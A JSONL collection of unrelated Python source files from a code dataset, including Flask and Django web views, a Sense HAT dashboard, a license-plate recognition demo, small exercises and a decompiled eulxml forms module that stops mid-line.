+{"seq_id":"593782094","text":"\nimport io\nimport re\nimport os.path\n\nfrom flask import render_template, send_file, url_for, \\\n redirect, abort, jsonify\n\nfrom .forms import WordForm\nfrom . import mdict, get_mdict, Config\nfrom . import helper\n\n\nregex_src_schema = re.compile(r'([ \"]src=\")(/|file:///)?(.+?\")')\nregex_href_end_slash = re.compile(r'([ \"]href=\".+?)(/)(\")')\nregex_href_schema = re.compile(r'([ \"]href=\")(sound://|entry://|http://|https://)([^#].+?\")')\nregex_href_no_schema = re.compile(r'([ \"]href=\")(?!sound://|entry://|http://|https://)([^#].+?\")')\n\n\n@mdict.route('/query/')\ndef query_part(part):\n contents = set()\n for uuid, item in get_mdict().items():\n content = item['query'].get_mdx_keys(part)\n contents |= set(content)\n return jsonify(suggestion=sorted(contents))\n\n\n@mdict.route('//', methods=['GET', 'POST'])\ndef query_word(uuid, url):\n form = WordForm()\n if form.validate_on_submit():\n url = form.word.data\n else:\n form.word.data = url\n\n url = url.strip()\n item = get_mdict().get(uuid)\n if not item:\n return redirect(url_for('.query_word2', word=url))\n\n if url == '@list_mdx':\n contents = item['query'].get_mdx_keys()\n return jsonify(suggestion=sorted(contents))\n elif url == '@list_mdd':\n contents = item['query'].get_mdd_keys()\n return jsonify(suggestion=sorted(contents))\n\n q = item['query']\n if '.' in url: # file\n fname = os.path.join(item['root_path'], url)\n if url in item:\n data = [item[url]]\n elif os.path.exists(fname):\n data = [open(fname, 'rb').read()]\n elif url == 'logo.png':\n with mdict.open_resource('static/logo.png') as f:\n data = [f.read()]\n else:\n key = '\\\\%s' % '\\\\'.join(url.split('/'))\n data = q.mdd_lookup(key, ignorecase=True)\n\n if data:\n data = b''.join(data)\n if url not in item and url[-4:] in ['.css', '.png', '.jpg']:\n if url.endswith('.css'):\n try:\n s_data = data.decode('utf-8')\n s_data = helper.fix_css('class_%s' % uuid, s_data)\n data = s_data.encode('utf-8')\n except Exception as err:\n error_css = fname + '.error'\n with open(error_css, 'wb') as f:\n f.write(data)\n print(err)\n print('Output Error Css:', error_css)\n if Config.MDICT_CACHE:\n item[url] = data # cache css file\n\n bio = io.BytesIO()\n bio.write(data)\n bio.seek(0)\n return send_file(bio, attachment_filename=url)\n else:\n abort(404)\n else: # entry and word\n content = q.mdx_lookup(url, ignorecase=True)\n content = ''.join(content)\n\n content = regex_src_schema.sub(r'\\1\\3', content)\n content = regex_href_end_slash.sub(r'\\1\\3', content)\n\n contents = {}\n contents[uuid] = {\n 'title': item['title'],\n 'logo': item['logo'],\n 'about': item['about'],\n 'content': content,\n }\n word_meta = helper.query_word_meta(url)\n return render_template(\n 'mdict/query.html',\n form=form,\n word=url,\n word_meta=word_meta,\n contents=contents,\n )\n\n\n@mdict.route('/', methods=['GET', 'POST'])\n@mdict.route('/', methods=['GET', 'POST'])\ndef query_word2(word=None):\n form = WordForm()\n if form.validate_on_submit():\n word = form.word.data\n else:\n word = word or helper.ecdict_random_word('cet4')\n form.word.data = word\n\n word = word.strip()\n contents = {}\n for uuid, item in get_mdict().items():\n q = item['query']\n content = q.mdx_lookup(word, ignorecase=True)\n if content:\n content = ''.join(content)\n # add dict uuid into url\n content = regex_src_schema.sub(r'\\g<1>%s/\\3' % uuid, content)\n content = regex_href_end_slash.sub(r'\\1\\3', content)\n content = regex_href_schema.sub(r'\\1\\g<2>%s/\\3' % uuid, content)\n content = regex_href_no_schema.sub(r'\\g<1>%s/\\2' % uuid, content)\n\n contents[uuid] = {\n 'title': item['title'],\n 'logo': item['logo'],\n 'about': item['about'],\n 'content': content,\n }\n\n word_meta = helper.query_word_meta(word)\n return render_template(\n 'mdict/query.html',\n form=form,\n word=word,\n word_meta=word_meta,\n contents=contents,\n )\n","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"503340652","text":"from ppyawd import utils \nfrom ppyawd import core\n\nclass GenericAnimFrame(object):\n def __init__(self, data=None, duration=0):\n self.duration = duration\n self.data = data\n\n\nclass GenericAnim(object):\n def __init__(self, frames):\n super(GenericAnim, self).__init__()\n self.__frames = frames\n\n def __len__(self):\n return len(self.__frames)\n\n def __getitem__(self, key):\n idx = int(key)\n return self.__frames[idx]\n\n def __setitem__(self, key, val):\n idx = int(key)\n if isinstance(val, GenericAnimFrame):\n self.__frames[idx] = val\n else:\n raise ValueError('value must be GenericAnimFrame instance')\n\n def __contains__(self, item):\n return item in self.__frames\n\n\nclass AWDSkeleton(core.AWDBlockBase, core.AWDAttrElement):\n def __init__(self, name=''):\n super(AWDSkeleton, self).__init__()\n self.name = name\n self.root_joint = None\n\n def joint_index(self, name=None, joint=None):\n if name is None:\n if joint is not None:\n name = joint.name\n else:\n raise AttributeError('either name or joint argument must be defined.')\n\n if self.root_joint is None:\n return None\n elif self.root_joint.name == name:\n return self.root_joint\n else:\n def find_name(joints, cur_idx):\n for j in joints:\n #print('checking joint \"%s\", idx=%d' % (j.name, cur_idx))\n if j.name == name:\n return (cur_idx, cur_idx)\n else:\n found_idx, cur_idx = find_name(j._AWDSkeletonJoint__children, cur_idx+1)\n if found_idx is not None:\n return (found_idx, cur_idx)\n\n return (None, cur_idx)\n\n # Find joint, starting at 2 (1 being the root, which has already\n # been checked outside of the recursion.)\n ret = find_name(self.root_joint._AWDSkeletonJoint__children, 2)\n if ret is not None:\n return ret[0]\n \n\nclass AWDSkeletonAnimation(GenericAnim, core.AWDAttrElement, core.AWDBlockBase):\n def __init__(self, name=''):\n self.name = name\n self.__frames = []\n super(AWDSkeletonAnimation, self).__init__(self.__frames)\n\n def add_frame(self, pose, duration):\n dur = int(duration)\n self.__frames.append(GenericAnimFrame(data=pose, duration=dur))\n\n\nclass AWDSkeletonJoint(core.AWDAttrElement):\n def __init__(self, name='', inv_bind_mtx=None):\n super(AWDSkeletonJoint, self).__init__()\n self.name = name\n self.inv_bind_mtx = inv_bind_mtx\n\n self.__children = []\n self.__parent = None\n\n if self.inv_bind_mtx is None:\n self.inv_bind_mtx = utils.AWDMatrix4x4()\n\n def remove_child_joint(self, child):\n self.__children.remove(child)\n \n def add_child_joint(self, child):\n if child.__parent is not None:\n child.__parent.remove_child_joint(child)\n\n child.__parent = self\n self.__children.append(child)\n\n\nclass AWDSkeletonPose(core.AWDBlockBase, core.AWDAttrElement):\n def __init__(self, name=''):\n super(AWDSkeletonPose, self).__init__()\n self.name = name\n self.transforms = []\n\n def add_joint_transform(self, transform=None):\n self.transforms.append(transform)\n \n\nclass AWDUVAnimation(GenericAnim, core.AWDAttrElement, core.AWDBlockBase):\n def __init__(self, name=''):\n self.name = name\n self.__frames = []\n super(AWDUVAnimation, self).__init__(self.__frames)\n\n def add_frame(self, transform, duration):\n dur = int(duration)\n self.__frames.append(GenericAnimFrame(data=transform, duration=dur))\n\n\n\n","sub_path":"python-ppyawd/anim.py","file_name":"anim.py","file_ext":"py","file_size_in_byte":3869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"118798388","text":"import random\nimport apache_beam as beam\n\ndef run_trials(count):\n \"\"\"Throw darts into unit square and count how many fall into unit circle.\"\"\"\n inside = 0\n for _ in xrange(count):\n x, y = random.uniform(0, 1), random.uniform(0, 1)\n inside += 1 if x*x + y*y <= 1.0 else 0\n return count, inside\n\ndef combine_results(results):\n \"\"\"Given all the trial results, estimate pi.\"\"\"\n total, inside = sum(r[0] for r in results), sum(r[1] for r in results)\n return total, inside, 4 * float(inside) / total if total > 0 else 0\n\np = beam.Pipeline()\n(p | beam.Create([500] * 10) # Create 10 experiments with 500 samples each.\n | beam.Map(run_trials) # Run experiments in parallel.\n | beam.CombineGlobally(combine_results) # Combine the results.\n | beam.io.WriteToText('./pi_estimate.txt')) # Write PI estimate to a file.\n\np.run()\n","sub_path":"SciStreams/old/oldtests/old/test_beam.py","file_name":"test_beam.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"595785708","text":"#Time Complexity:O(n)\n#Space Complexity:O(1)\n\n#Algorithm:\n#1. Create hashmap for the occurences of characters in T\n#2. Check if the characters in s exists in hashmap .\n#3. If yes add that character to string x its occurences,to be returned and delete it from the map.\n#4.Later check for the elements still present in the hashmap and add all those to the string being returned.\n\nclass Solution:\n def customSortString(self, S: str, T: str) -> str:\n intersection=set(S)&set(T)\n \n res=''\n dc=collections.Counter(T)\n \n for s in S:\n if s in dc:\n res+=s*dc[s]\n del dc[s]\n # print(dc)\n \n for x in dc:\n res+=x*dc[x]\n \n return res\n","sub_path":"customSortString.py","file_name":"customSortString.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"138993714","text":"# coding: UTF-8\nfrom __future__ import absolute_import\n\nfrom flask.ext.form import Form\nfrom wtforms_sqlalchemy.orm import model_form\n\nfrom sisge.agenda.models import Aluno, Professor\n\npessoa_form_args = {\n 'nome': {\n 'label': u'Nome',\n },\n 'email': {\n 'label': u'E-mail',\n },\n 'telefone': {\n 'label': u'E-mail',\n },\n}\n\nprofessor_form_args = dict(pessoa_form_args, {\n 'horas_aula': {\n 'label': u'Horas Aula',\n },\n 'registro': {\n 'label': u'Registro',\n },\n})\n\naluno_form_args = dict(pessoa_form_args, **{\n 'matricula': {\n 'label': u'Matrícula',\n }\n})\n\nProfessorForm = model_form(Professor, field_args=professor_form_args,\n base_class=Form)\n\nAlunoForm = model_form(Aluno, field_args=aluno_form_args, base_class=Form)\n","sub_path":"sisge/agenda/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"582909696","text":"import numpy as np\nimport cv2\nimport HyperLPRLite as pr\nfrom PIL import ImageDraw\nfrom PIL import Image\nfrom PIL import ImageFont\nimport time\nimport sys\nimport imp\nimp.reload(sys)\n# sys.setdefaultencoding(\"utf-8\")\n\n\ndef SpeedTest(image_path):\n grr = cv2.imread(image_path)\n model = pr.LPR(\"model/cascade.xml\", \"model/model12.h5\",\n \"model/ocr_plate_all_gru.h5\")\n model.SimpleRecognizePlateByE2E(grr)\n t0 = time.time()\n for x in range(20):\n model.SimpleRecognizePlateByE2E(grr)\n t = (time.time() - t0)/20.0\n print(\"Image size :\" + str(grr.shape[1])+\"x\" +\n str(grr.shape[0]) + \" need \" + str(round(t*1000, 2))+\"ms\")\n\n\ndef drawRectBox(image, rect, addText):\n fontC = ImageFont.truetype(\"./Font/platech.ttf\", 14, 0)\n cv2.rectangle(image, (int(rect[0]), int(rect[1])), (int(\n rect[0] + rect[2]), int(rect[1] + rect[3])), (0, 0, 255), 2, cv2.LINE_AA)\n cv2.rectangle(image, (int(rect[0]-1), int(rect[1])-16), (int(rect[0] + 115), int(rect[1])), (0, 0, 255), -1,\n cv2.LINE_AA)\n img = Image.fromarray(image)\n draw = ImageDraw.Draw(img)\n # draw.text((int(rect[0]+1), int(rect[1]-16)),\n # addText.decode(\"utf-8\"), (255, 255, 255), font=fontC)\n draw.text((int(rect[0]+1), int(rect[1]-16)),\n addText, (255, 255, 255), font=fontC)\n imagex = np.array(img)\n return imagex\n\n\ndef recog(imgFile):\n grr = cv2.imread(imgFile)\n model = pr.LPR(\"model/cascade.xml\", \"model/model12.h5\",\n \"model/ocr_plate_all_gru.h5\")\n for pstr, confidence, rect in model.SimpleRecognizePlateByE2E(grr):\n if confidence > 0.7:\n image = drawRectBox(grr, rect, pstr+\" \"+str(round(confidence, 3)))\n print(\"plate_str:\")\n print(pstr)\n print(\"plate_confidence\")\n print(confidence)\n cv2.imshow(\"image\", image)\n cv2.waitKey(0)\n\n\nif __name__ == '__main__':\n file = \"images_rec/2.jpg\"\n file = \"images_rec/1.jpg\"\n file = \"images_rec/5.jpg\"\n file = \"images_rec/6.jpg\"\n recog(file)\n SpeedTest(file)\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"204580479","text":"import pandas as pd\nimport csv\nfrom sklearn.metrics.pairwise import linear_kernel\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n\nbook_description = pd.read_csv('E:/DATA set.csv', encoding = 'latin-1')\nfor line in book_description:\n books_tfidf = TfidfVectorizer(stop_words='english')\n book_description['Plot'] = book_description['Plot'].fillna('')\n book_description_matrix = books_tfidf.fit_transform(book_description['Plot'])\n cosine_similarity = linear_kernel(book_description_matrix, book_description_matrix)\n indices = pd.Series(book_description['Title'].index)\n\ndef customs(name):\n for Title in book_description['Title']:\n if (name == Title):\n hope = book_description.loc[book_description['Title'] == name]\n m = int(hope.Book_ID)\n m = m-1\n return(m)\n\n# Function to get the most similar books\ndef recommend(index, cosine_sim=cosine_similarity):\n if (index == None):\n return \"No Such book exist in our database\"\n else:\n id = indices[index]\n # Get the pairwsie similarity scores of all books compared to that book,\n # sorting them and getting top 5\n similarity_scores = list(enumerate(cosine_sim[id]))\n similarity_scores = sorted(similarity_scores, key=lambda x: x[1], reverse=True)\n similarity_scores = similarity_scores[1:4]\n\n # Get the books index\n books_index = [i[0] for i in similarity_scores]\n\n # Return the top 5 most similar books using integer-location based indexing (iloc)\n #return list(book_description['Title'].iloc[books_index])\n\n meep = list(book_description['Title'].iloc[books_index])\n return meep","sub_path":"Project_Code/Users/recommend.py","file_name":"recommend.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"222773568","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n\n path('add_category/', views.add_category, name='add_category'),\n path('category_name=/', views.category_posts, name='category_posts'),\n path('add_post/', views.add_post, name='add_post'),\n path('posts//page_id=/', views.detail, name='detail'),\n path('posts//page_id=/edit/', views.edit_post, name='edit_post'),\n path('posts//page_id=/delete/', views.delete_post, name='delete_post'),\n\n path('registers/', views.register_user, name='register'),\n path('dashboard-/', views.dashboard, name='dashboard'),\n path('dashboard-/edit/', views.edit_dashboard, name='edit_dashboard'),\n path('dashboard-/delete/', views.delete_account, name='delete_account'),\n\n path('tag//', views.index, name='tag_index'),\n\n\n]\n","sub_path":"account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"468764234","text":"#!/usr/bin/env python3\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nwebsite_content = requests.get('https://en.wikipedia.org/wiki/Category:American_male_badminton_players').text\n\nsoup = BeautifulSoup(website_content, 'lxml')\n# print(soup.prettify())\ntitle = soup.title.string.rstrip()\nprint(f'{title}')\npat0 = '='*len(title)\nprint(f'{pat0} \\n')\n\ntotal_players = 0\nheader = 'Player name'\npat = '-'*len(header)\nprint(f'{header}')\nprint(f'{pat}')\n\n\ndivs = soup.find_all('div', {'class': 'mw-category'})\nlis = divs[0].find_all('li')\n# print(len(lis))\n# print(divs[1])\n# print(len(divs))\nplayer_count = 0\n\nfor li in lis:\n name = li.a['title'].rstrip()\n print(f'{name}')\n player_count += 1\n\nprint(f'\\nTotal players: {player_count}')\n\n\n\n","sub_path":"badminton/wiki-male-badminton.py","file_name":"wiki-male-badminton.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"375317907","text":"'''\nSensehat Dashboard\n=========================================\nAuthor: The Great Nawang Tendar\nModified: 17-03-2019\n-----------------------------------------\nInstallation:\nsudo pip install -U Flask (python2)\nsudo pip3 install -U Flask (python3)\n-----------------------------------------\nDocs: http://flask.pocoo.org/docs/1.0/\n=========================================\n'''\n# Import the libraries\nfrom flask import Flask, jsonify, render_template, request\nfrom sense_hat import SenseHat\n\n# Create an instance of flask\napp = Flask(__name__)\n\n# Create an instance of the sensehat\nsense = SenseHat()\n\n# Define the root route\n@app.route('/')\ndef index():\n return 'Look the flask server is running'\n\n# Define the nmd route\n@app.route('/nmd')\ndef nmd():\n return 'Greetings Earthlings. We are NMDrs'\n\n# Define the my_ip route\n@app.route('/my_ip', methods=['GET'])\ndef my_ip():\n return jsonify({\n 'ip': request.remote_addr\n }), 200\n\n# Define the api_environment route\n@app.route('/api/environment', methods=['GET'])\ndef api_environment():\n environment_obj = create_environment_object()\n return jsonify(environment_obj), 200\n\n# Define the api_environment route\n@app.route('/environment', methods=['GET'])\ndef environment():\n environment_obj = create_environment_object()\n return render_template('environment.html', environment=environment_obj)\n\n# Create Environment object (json)\n\n\ndef create_environment_object():\n environment_obj = {\n 'temperature': {\n 'value': round(sense.get_temperature()),\n 'unit': u'°C'\n },\n 'humidity': {\n 'value': round(sense.get_humidity()),\n 'unit': u'%'\n },\n 'pressure': {\n 'value': round(sense.get_pressure()),\n 'unit': u'mbar'\n }\n }\n return environment_obj\n\n# Function to send colors to sensehat\n\n\ndef setColor(color_data):\n if color_data['state'] == 'on':\n color = color_data['value'].lstrip('#')\n rgb = tuple(int(color[i:i+2], 16) for i in (0, 2, 4))\n for x in range(0, 8):\n for y in range(0, 8):\n sense.set_pixel(x, y, rgb)\n else:\n for x in range(0, 8):\n for y in range(0, 8):\n sense.set_pixel(x, y, [0, 0, 0])\n\n\n@app.route('/ambilight', methods=['POST', 'GET'])\ndef ambilight():\n if request.method == 'POST':\n data = request.form\n color_val = data['color']\n\n if 'on_off' in data and data['on_off'] == 'on':\n state = 'on'\n else:\n state = 'off'\n else:\n color_val = '#ffffff'\n state = 'off'\n\n color_data = {\n 'value': color_val,\n 'state': state,\n }\n setColor(color_data)\n return render_template('ambilight.html', color=color_data)\n\n# Main method for Flask server\n\n\nif __name__ == '__main__':\n app.run(host='10.5.129.22', port=8080, debug=True)\n","sub_path":"flash/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"409599005","text":"import rhinoscriptsyntax as rs\n\n\ndef counting(numCounts, height=56, deletePt=False):\n for i in range(numCounts):\n point = rs.GetPoint(\"select point\")\n rs.AddPoint(point)\n count = str(i + 1)\n rs.AddText(count, point)\n \n \n\n\ndef main():\n counting(1000)\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"Rhino/counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"354226498","text":"import unittest\r\nfrom Complejos import Complejo\r\n\r\n\r\nclass TestComplejos(unittest.TestCase):\r\n def test_sumar(self):\r\n n1 = Complejo(4, 4)\r\n n2 = Complejo(2, 2)\r\n n_res = Complejo(6, 6)\r\n\r\n self.assertEqual(n1.sumar(n2), n_res)\r\n\r\n def test_restar(self):\r\n n1 = Complejo(4, 4)\r\n n2 = Complejo(2, 2)\r\n n_res = Complejo(2, 2)\r\n\r\n self.assertEqual(n1.restar(n2).__str__, n_res.__str__)\r\n\r\n def test_multiplicar(self):\r\n n1 = Complejo(4, 4)\r\n n2 = Complejo(2, 2)\r\n n_res = Complejo(0, 16)\r\n self.assertEqual(n1.multiplicar(n2), n_res)\r\n\r\n def test_prueba(self):\r\n \tself.assertEqual('foo'.upper(), 'FOO')\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","sub_path":"src/unittest/python/Complejos_prueba.py","file_name":"Complejos_prueba.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"217252900","text":"def read_file(file):\n with open (file, \"r\") as infile:\n line= infile.read().split()\n v= float(line[1])\n t= map(float, line[3:])\n return v,t\n\n\ndef write_file(file,v,t):\n with open(file, \"w\") as outfile:\n for i in sorted(t):\n outfile.write(i,v*t-0.5*(9.81*(t**2)))\n\n\n\n\n\n\n\n","sub_path":"Oblig/ball_file_read_write.py","file_name":"ball_file_read_write.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"95001002","text":"import pickle\n\n\nclass Collection(object):\n def __init__(self):\n self.entities = []\n\n def get_items(self):\n return self.entities\n\n def serialize(self, file_name):\n try:\n pickle.dump(self.entities, open(f\"{file_name}.p\", \"wb\"))\n except Exception:\n print('Could not save countries.')\n\n def deserialize(self, file_name):\n try:\n self.entities = pickle.load(open(f\"{file_name}.p\", \"rb\"))\n except Exception:\n print('Could not load countries.')\n\n def add(self, item):\n if not self.include_item_with_id(item.id):\n self.entities.append(item)\n return True\n else:\n raise Exception(\"Can't add item.\")\n\n def delete(self, _id):\n ind = -1\n for index, country in enumerate(self.entities):\n if country.id == _id:\n ind = index\n if ind > -1:\n self.entities.pop(ind)\n return True\n else:\n raise Exception(\"No item with this id.\")\n\n def delete_many(self, ids):\n for _id in ids:\n self.delete(_id)\n\n def include_item_with_id(self, item_id):\n for item in self.entities:\n if item_id == item.id:\n return True\n return False\n\n def get_item_index_by_id(self, item_id):\n ind = -1\n for i, item in enumerate(self.entities):\n if item_id == item.id:\n ind = i\n if ind > -1:\n return ind\n else:\n raise Exception('No item with such index')\n\n def get_item_by_id(self, _id):\n for item in self.get_items():\n if item.id == _id:\n return item\n\n def update_item_by_id(self, _id, new_item):\n\n if not self.include_item_with_id(_id):\n raise Exception(\"No such item id.\")\n\n same_ids = _id == new_item.id\n if not self.include_item_with_id(new_item.id) or same_ids:\n self.entities[self.get_item_index_by_id(_id)] = new_item\n return True\n else:\n raise Exception(\"You can't use this id.\")\n\n","sub_path":"lab1/models/collection.py","file_name":"collection.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"116905248","text":"'''\n File Name: fizzbuzz.py\n Author: Matt Hudgins\n Date created: 3/31/2018\n Date last modified: 3/31/2018\n Python Version 3.6.4\n'''\n\n#This should work\n#def fizzbuzz(x): \n\n\nx = range(1, 101)\n\nfor y in x:\n if y % 3 == 0:\n print('Fizz')\n elif y % 5 == 0:\n print('Buzz')\n elif y % 3 == 0 and y % 5 == 0:\n print('FizzBuzz')\n else:\n print(y)\n\n","sub_path":"students/Matt_Hudgins/Lesson02/fizzbuzz.py","file_name":"fizzbuzz.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"77076550","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/rsutton/workarea/env/eulxml/lib/python2.7/site-packages/eulxml/forms/xmlobject.py\n# Compiled at: 2016-02-19 17:15:24\nfrom __future__ import unicode_literals\nfrom collections import defaultdict\nfrom string import capwords\nfrom django.forms import BaseForm, CharField, IntegerField, BooleanField, ChoiceField, Field, Form, DateField\nfrom django.forms.forms import NON_FIELD_ERRORS\nfrom django.forms.forms import get_declared_fields\nfrom django.forms.formsets import formset_factory, BaseFormSet\nfrom django.forms.models import ModelFormOptions\nfrom django.utils.datastructures import SortedDict\nfrom django.utils.safestring import mark_safe\nimport six\nfrom eulxml import xmlmap\nfrom eulxml.utils.compat import u\n\ndef fieldname_to_label(name):\n \"\"\"Default conversion from xmlmap Field variable name to Form field label:\n convert '_' to ' ' and capitalize words. Should only be used when verbose_name\n is not set.\"\"\"\n return capwords(name.replace(b'_', b' '))\n\n\ndef _parse_field_list(fieldnames, include_parents=False):\n \"\"\"\n Parse a list of field names, possibly including dot-separated subform\n fields, into an internal ParsedFieldList object representing the base\n fields and subform listed.\n\n :param fieldnames: a list of field names as strings. dot-separated names\n are interpreted as subform fields.\n :param include_parents: optional boolean, defaults to False. if True,\n subform fields implicitly include their parent fields in the parsed\n list.\n \"\"\"\n field_parts = (name.split(b'.') for name in fieldnames)\n return _collect_fields(field_parts, include_parents)\n\n\ndef _collect_fields(field_parts_list, include_parents):\n \"\"\"utility function to enable recursion in _parse_field_list()\"\"\"\n fields = []\n subpart_lists = defaultdict(list)\n for parts in field_parts_list:\n field, subparts = parts[0], parts[1:]\n if subparts:\n if include_parents and field not in fields:\n fields.append(field)\n subpart_lists[field].append(subparts)\n else:\n fields.append(field)\n\n subfields = dict((field, _collect_fields(subparts, include_parents)) for field, subparts in six.iteritems(subpart_lists))\n return ParsedFieldList(fields, subfields)\n\n\nclass ParsedFieldList(object):\n \"\"\"A parsed list of fields, used internally by :class:`XmlObjectForm`\n for tracking field and exclude lists.\"\"\"\n\n def __init__(self, fields, subfields):\n self.fields = fields\n self.subfields = subfields\n\n\nclass SubformAwareModelFormOptions(ModelFormOptions):\n \"\"\"A :class:`~django.forms.models.ModelFormOptions` subclass aware of\n fields and exclude lists, parsing them for later reference by\n :class:`XmlObjectForm` internals.\"\"\"\n\n def __init__(self, options=None):\n super(SubformAwareModelFormOptions, self).__init__(options)\n self.max_num = getattr(options, b'max_num', None)\n self.can_delete = getattr(options, b'can_delete', True)\n self.can_order = getattr(options, b'can_order', False)\n self.extra = getattr(options, b'extra', 1)\n self.parsed_fields = None\n if isinstance(self.fields, ParsedFieldList):\n self.parsed_fields = self.fields\n elif self.fields is not None:\n self.parsed_fields = _parse_field_list(self.fields, include_parents=True)\n self.parsed_exclude = None\n if isinstance(self.exclude, ParsedFieldList):\n self.parsed_exclude = self.exclude\n elif self.exclude is not None:\n self.parsed_exclude = _parse_field_list(self.exclude, include_parents=False)\n return\n\n\ndef formfields_for_xmlobject(model, fields=None, exclude=None, widgets=None, options=None, declared_subforms=None, max_num=None, extra=None):\n \"\"\"\n Returns three sorted dictionaries (:class:`django.utils.datastructures.SortedDict`).\n * The first is a dictionary of form fields based on the\n :class:`~eulxml.xmlmap.XmlObject` class fields and their types.\n * The second is a sorted dictionary of subform classes for any fields of type\n :class:`~eulxml.xmlmap.fields.NodeField` on the model.\n * The third is a sorted dictionary of formsets for any fields of type\n :class:`~eulxml.xmlmap.fields.NodeListField` on the model.\n\n Default sorting (within each dictionary) is by XmlObject field creation order.\n\n Used by :class:`XmlObjectFormType` to set up a new :class:`XmlObjectForm`\n class.\n\n :param fields: optional list of field names; if specified, only the named fields\n will be returned, in the specified order\n :param exclude: optional list of field names that should not be included on\n the form; if a field is listed in both ``fields`` and ``exclude``,\n it will be excluded\n :param widgets: optional dictionary of widget options to be passed to form\n field constructor, keyed on field name\n :param options: optional :class:`~django.forms.models.ModelFormOptions`.\n if specified then fields, exclude, and widgets will default\n to its values.\n :param declared_subforms: optional dictionary of field names and form classes;\n if specified, the specified form class will be used to initialize\n the corresponding subform (for a :class:`~eulxml.xmlmap.fields.NodeField`)\n or a formset (for a :class:`~eulxml.xmlmap.fields.NodeListField`)\n :param max_num: optional value for the maximum number of times a fieldset should repeat.\n :param max_num: optional value for the number of extra forms to provide.\n \"\"\"\n fieldlist = getattr(options, b'parsed_fields', None)\n if isinstance(fields, ParsedFieldList):\n fieldlist = fields\n elif fields is not None:\n fieldlist = _parse_field_list(fields, include_parents=True)\n excludelist = getattr(options, b'parsed_exclude', None)\n if isinstance(fields, ParsedFieldList):\n fieldlist = fields\n else:\n if exclude is not None:\n excludelist = _parse_field_list(exclude, include_parents=False)\n if widgets is None and options is not None:\n widgets = options.widgets\n if max_num is None and options is not None:\n max_num = options.max_num\n formfields = {}\n subforms = {}\n formsets = {}\n field_order = {}\n subform_labels = {}\n for name, field in six.iteritems(model._fields):\n if fieldlist and name not in fieldlist.fields:\n continue\n if excludelist and name in excludelist.fields:\n continue\n if widgets and name in widgets:\n kwargs = {b'widget': widgets[name]}\n else:\n kwargs = {}\n field_type = None\n if field.required is not None:\n kwargs[b'required'] = field.required\n if field.verbose_name is not None:\n kwargs[b'label'] = field.verbose_name\n if field.help_text is not None:\n kwargs[b'help_text'] = field.help_text\n if hasattr(field, b'choices') and field.choices:\n field_type = ChoiceField\n kwargs[b'choices'] = [ (val, val) for val in field.choices ]\n if field.required == False and b'' not in field.choices:\n kwargs[b'choices'].insert(0, ('', ''))\n elif isinstance(field, xmlmap.fields.StringField):\n field_type = CharField\n elif isinstance(field, xmlmap.fields.IntegerField):\n field_type = IntegerField\n elif isinstance(field, xmlmap.fields.DateField):\n field_type = DateField\n elif isinstance(field, xmlmap.fields.SimpleBooleanField):\n kwargs[b'required'] = False\n field_type = BooleanField\n elif isinstance(field, xmlmap.fields.NodeField) or isinstance(field, xmlmap.fields.NodeListField):\n form_label = kwargs[b'label'] if b'label' in kwargs else fieldname_to_label(name)\n subform_labels[name] = form_label\n if name in declared_subforms:\n subform = declared_subforms[name]\n else:\n subform_opts = {b'fields': fieldlist.subfields[name] if fieldlist and name in fieldlist.subfields else None, \n b'exclude': excludelist.subfields[name] if excludelist and name in excludelist.subfields else None, \n b'widgets': widgets[name] if widgets and name in widgets else None, \n b'label': form_label}\n subform = xmlobjectform_factory(field.node_class, **subform_opts)\n if isinstance(field, xmlmap.fields.NodeField):\n subforms[name] = subform\n elif isinstance(field, xmlmap.fields.NodeListField):\n formsets[name] = formset_factory(subform, formset=BaseXmlObjectFormSet, max_num=subform._meta.max_num, can_delete=subform._meta.can_delete, extra=subform._meta.extra, can_order=subform._meta.can_order)\n formsets[name].form_label = form_label\n elif isinstance(field, xmlmap.fields.StringListField) or isinstance(field, xmlmap.fields.IntegerListField):\n form_label = kwargs[b'label'] if b'label' in kwargs else 